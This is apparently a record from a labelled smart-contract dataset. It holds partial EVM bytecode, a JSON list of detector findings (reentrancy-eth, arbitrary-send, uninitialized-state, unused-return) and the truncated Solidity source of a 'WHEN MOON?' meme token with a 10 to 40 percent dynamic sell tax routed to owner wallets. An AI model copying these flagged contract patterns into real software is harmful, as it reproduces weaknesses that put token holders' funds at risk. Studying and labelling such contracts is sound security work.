0000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c49be290acf01a723e15b5914cc9e094e1472597d52bbba9ef2c90763379ba3564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,535
0xfdd8173db1f17011807fc65bc7ca2de11b813450
/** * _ __ _ __ ___ _ __ _ __ _ _ _ __ ///7/ //// // _/ / |/ // \,' /,' \ ,' \ / |/ / | V V // ` // _/ / || // \,' // o |/ o |/ || / |_n_,'/_n_//___//_/|_//_/ /_/ |_,' |_,'/_/|_/ Telegram: t.me/whenmoonerc20 Twitter: @whenmoonerc20 * TOKENOMICS: * 1,000,000,000,000 tokens * 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy, in order to limit bot behavior. * No buy or sell token limits. Whales are welcome! * 10% total tax on buy * Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT. */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WHENMOON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"WHEN MOON?"; string private constant _symbol = unicode"WHENMOON "; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = 